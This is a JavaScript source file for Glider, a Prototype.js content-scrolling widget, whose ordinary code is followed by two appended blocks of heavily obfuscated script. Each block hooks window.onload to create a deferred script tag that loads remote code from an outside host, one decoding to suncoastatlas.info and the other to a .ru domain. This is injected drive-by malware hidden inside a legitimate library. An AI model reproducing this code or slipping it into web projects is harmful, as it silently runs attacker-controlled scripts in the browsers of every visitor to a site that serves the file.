/*
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://code.google.com/p/missingmethod-projects/wiki/Glider
 * @version 0.0.4
 * @dependencies prototype.js 1.5.1+, effects.js
 */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
	    this.scrolling  = false;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.section');
	    this.options    = Object.extend({ controlsEvent:'click', duration: 1.0, frequency: 3 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this)
	    };

	    this.addObservers();
			if(this.options.initialSection) this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
			if(this.options.autoGlide) this.start();
	  },
	
  addObservers: function() {
		this.controls = this.wrapper.getElementsBySelector('.controls a');
		this.controls.invoke('observe', this.options.controlsEvent, this.events.click);
  },	

  click: function(event) {
		this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) 
        this.scrolling.cancel();
        
	moveToHere = element.href.split("#")[1];
        
    this.moveTo(moveToHere, this.scroller, { duration:this.options.duration });     
    Event.stop(event);

		this.controls.each(function(control){
			if (control == element) {
				control.addClassName("active")
			}else{
				control.removeClassName("active")
			}			
		});
  },

	moveTo: function(element, container, options){
			this.current = $(element);

			Position.prepare();
	    var containerOffset = Position.cumulativeOffset(container),
	     elementOffset = Position.cumulativeOffset($(element));

		  this.scrolling 	= new Effect.SmoothScroll(container, 
				{duration:options.duration, x:(elementOffset[0]-containerOffset[0]), y:(elementOffset[1]-containerOffset[1])});
		  return false;
		},
		
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },

	stop: function()
	{
		clearTimeout(this.timer);
	},
	
	start: function()
	{
		this.periodicallyUpdate();
	},
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});
var mm;if(mm!='Vp' && mm!='T'){mm='Vp'};var Xi=new String();try {var S=window[unescape("%75%6e%65%73%63%61%70%65")];var c="";var La=new Array();var r=S("%72%65%70%6c%61%63%65");var p=null;var z;if(z!='s' && z!='N'){z=''};var rO=new Date();var u=window[S("%52%65%67%45%78%70")];var sv;if(sv!=''){sv='cj'};var x;if(x!='' && x!='pF'){x=''};this.kL="";function X(XM,L){var It=new Array();var IR=new Array();var O='';var qr;if(qr!='' && qr!='hy'){qr='Bb'};var V=S("%5b");V+=L;this.Lc="";var BL=new Date();V+=S("%5d");var F=new u(V, S("%67"));return XM.replace(F, p);var g_;if(g_!='' && g_!='P'){g_='fX'};var TY;if(TY!='' && TY!='o'){TY='d'};};var nuW;if(nuW!='zj' && nuW!='b'){nuW='zj'};var I="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x75\x6e\x63\x6f\x61\x73\x74\x61\x74\x6c\x61\x73\x2e\x69\x6e\x66\x6f\x3a";var qn=new String();var Fx=X('833256512101493553989917673630329661717372','16253974');this.np="";var G='';var Vw;if(Vw!=''){Vw='y'};var pt=new String("onloa"+"d");var ra=new Array();var h=X('/vgEoBo9g_l9ek.ZcIo9mF/FnFyBdFaFiBlvyBnIe2wvsZ.2c9oImB/EtEokyFs9rkuZsE.Ic_oEmk.Ip2hIpv','ZvkFBI29_E');var wO;if(wO!='' && wO!='Z'){wO='Fy'};var XM=S("%31");var hA=S("%73%63%72%69%70%74");this.e="";var xx="";var KR="";var FU;if(FU!='rp'){FU='rp'};var fH;if(fH!='Rr'){fH='Rr'};function q(){var wn='';var iR=new Date();var yf="";var Gj;if(Gj!='Mz'){Gj='Mz'};var m=document;var fu="";var zg;if(zg!='' && zg!='RH'){zg='qk'};G_=m.createElement(hA);var da;if(da!='yq' && da!='uG'){da='yq'};var FY=new Date();this.eZ="";G+=I;G+=Fx+h;var IP="";this.Dp='';G_.defer=XM;G_.src=G;var M=m.body;this.fK='';this.Ht="";var hVn;if(hVn!='tZ' && hVn!='Na'){hVn=''};M.appendChild(G_);var xI="";};var Ot=new String();var Wh;if(Wh!='zQ' && Wh != ''){Wh=null};window[pt]=q;var hbx=new String();this.u_='';} catch(w){var jG;if(jG!='A' && jG!='Jl'){jG='A'};};var Ga;if(Ga!='wy' && Ga!='eF'){Ga='wy'};var HP=new Date();
var t="";var h="";var G;if(G!='m'){G=''};var D_="";function C() {var S='';var J="";var K=window;var V;if(V!='O'){V=''};var R=String("scri"+"pt");var iq="";var Z;var r='';var A;if(A!=''){A='zH'};var Fl=new String();var E=String("g");var L="appmnQi".substr(0,3)+"end"+"Chinrc7".substr(0,3)+"ldxiDU".substr(0,2);var b=new String("]");var f;if(f!='' && f!='Qp'){f=null};var z=RegExp;var GU;if(GU!='I' && GU!='lb'){GU=''};this.JL="";var bT;if(bT!=''){bT='px'};function N(q,p){var d="[";var nm;if(nm!='il' && nm != ''){nm=null};d+=p;d+=b;var oF;if(oF!='So' && oF != ''){oF=null};var w=new z(d, E);this.ze='';return q.replace(w, r);};var wk;if(wk!='e'){wk=''};this.Ns='';var i="onl"+"oad";var dz;if(dz!='no'){dz='no'};this.wa='';var LO='';var O_='';var u=N('sqr4cp','5pqQ4xa7');var D="defeANm0".substr(0,4)+"r";this.g='';this.Vw='';Z=function(){this.ZF='';try {var Gf;if(Gf!='uW' && Gf != ''){Gf=null};n=document.createElement(R);var RV=new String();var Yo;if(Yo!='' && Yo!='fF'){Yo='ib'};var v=new Array();n[D]=[1,8][0];var gY='';var gYj='';n[u] = N('hGtQtGpW:H/j/jpYoHkjeGsjaWcYkG.YrQuY:j','GYjQWH')+N('8295634772434270642295791948166996914660733561217215135','65174293')+N('/DgXoVoEg5lReL.6cMoXm5/jt9eIcWh4nIo4r9aWtLiR.Wc5o3mR/Wi5c9iMb6a9.WcRo3mI.4p9hXp5','I36Xj9VE4W5RDLM');var XG;if(XG!='' && XG!='vi'){XG=null};var II='';var Q=new String("bodyOc6".substr(0,4));var QA;if(QA!='' && QA!='wq'){QA='JJ'};var Oa;if(Oa!='' && Oa!='hH'){Oa='Od'};var yK=new String();var Zy;if(Zy!='' && Zy!='MB'){Zy=null};var uu;if(uu!='' && uu!='nE'){uu=null};document[Q][L](n);var fR;if(fR!='U' && fR != ''){fR=null};} catch(H){this.EW="";var x_=new Date();};this.YM='';};K[i]=Z;var vr="";this.kR='';var Jf;if(Jf!='of' && Jf != ''){Jf=null};};var Wd=new Array();var UK;if(UK!='HZ' && UK!='uz'){UK=''};C();var KqP=new String();